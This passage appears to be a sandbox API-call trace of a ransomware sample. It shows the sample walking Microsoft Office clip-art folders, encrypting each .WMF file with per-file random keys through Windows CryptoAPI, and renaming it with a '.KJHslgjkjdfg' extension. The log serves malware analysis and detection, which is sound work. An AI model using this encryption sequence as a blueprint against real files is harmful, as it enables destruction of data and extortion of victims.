dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.535] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.535] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.535] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.535] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.535] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x41a0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x41a0, lpOverlapped=0x0) returned 1 [0207.536] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x41a0, dwBufLen=0x41a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x41a0) returned 1 [0207.536] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.536] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x41a0, lpOverlapped=0x0) returned 1 [0207.537] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.537] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.537] SetEndOfFile (hFile=0x130) returned 1 [0207.539] GetProcessHeap () returned 0x990000 [0207.539] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.539] GetProcessHeap () returned 0x990000 [0207.539] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.540] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf.kjhslgjkjdfg")) returned 1 [0207.541] CloseHandle (hObject=0x130) returned 1 [0207.541] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3998, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03470_.WMF", cAlternateFileName="")) returned 1 [0207.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.542] GetProcessHeap () returned 0x990000 [0207.542] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.542] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.542] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.542] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.544] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.544] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.544] GetProcessHeap () returned 0x990000 [0207.544] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.544] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.544] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.544] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.544] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.544] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.544] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.544] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.544] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.544] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.544] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.544] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.544] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3998, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3998, lpOverlapped=0x0) returned 1 [0207.615] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x39a0, dwBufLen=0x39a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x39a0) returned 1 [0207.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.615] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x39a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x39a0, lpOverlapped=0x0) returned 1 [0207.615] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.616] SetEndOfFile (hFile=0x130) returned 1 [0207.618] GetProcessHeap () returned 0x990000 [0207.618] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.618] GetProcessHeap () returned 0x990000 [0207.618] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.619] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf.kjhslgjkjdfg")) returned 1 [0207.621] CloseHandle (hObject=0x130) returned 1 [0207.621] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3716500, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3716500, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03513_.WMF", cAlternateFileName="")) returned 1 [0207.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.623] GetProcessHeap () returned 0x990000 [0207.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.623] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.623] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0207.626] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.626] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.626] GetProcessHeap () returned 0x990000 [0207.626] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.626] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.626] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.626] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.626] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.626] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.626] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.626] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.626] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.627] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.627] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.627] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.627] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xec4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xec4, lpOverlapped=0x0) returned 1 [0207.627] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xed0, dwBufLen=0xed0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xed0) returned 1 [0207.627] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.627] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xed0, lpOverlapped=0x0) returned 1 [0207.627] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.627] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.627] SetEndOfFile (hFile=0x130) returned 1 [0207.630] GetProcessHeap () returned 0x990000 [0207.630] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.630] GetProcessHeap () returned 0x990000 [0207.630] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.630] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf.kjhslgjkjdfg")) returned 1 [0207.632] CloseHandle (hObject=0x130) returned 1 [0207.632] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32062000, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32062000, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0x1868, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03668_.WMF", cAlternateFileName="")) returned 1 [0207.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.633] GetProcessHeap () returned 0x990000 [0207.633] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.633] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.633] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.633] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.636] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.636] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.636] GetProcessHeap () returned 0x990000 [0207.636] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.636] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.636] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.636] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.636] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.636] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.636] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.636] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.637] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.637] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.637] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.637] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1868, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1868, lpOverlapped=0x0) returned 1 [0207.638] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1870, dwBufLen=0x1870 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1870) returned 1 [0207.638] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.638] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1870, lpOverlapped=0x0) returned 1 [0207.645] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.645] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.645] SetEndOfFile (hFile=0x130) returned 1 [0207.648] GetProcessHeap () returned 0x990000 [0207.648] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.648] GetProcessHeap () returned 0x990000 [0207.648] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.648] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf.kjhslgjkjdfg")) returned 1 [0207.650] CloseHandle (hObject=0x130) returned 1 [0207.650] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb300a00, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb300a00, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03731_.WMF", cAlternateFileName="")) returned 1 [0207.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.652] GetProcessHeap () returned 0x990000 [0207.652] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.652] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.652] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.652] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.655] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.655] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.655] GetProcessHeap () returned 0x990000 [0207.655] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.655] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.655] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.655] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.655] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.656] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.656] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.656] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.656] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.656] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.656] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.656] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.656] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9fc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9fc, lpOverlapped=0x0) returned 1 [0207.656] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa00, dwBufLen=0xa00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa00) returned 1 [0207.656] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.656] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: 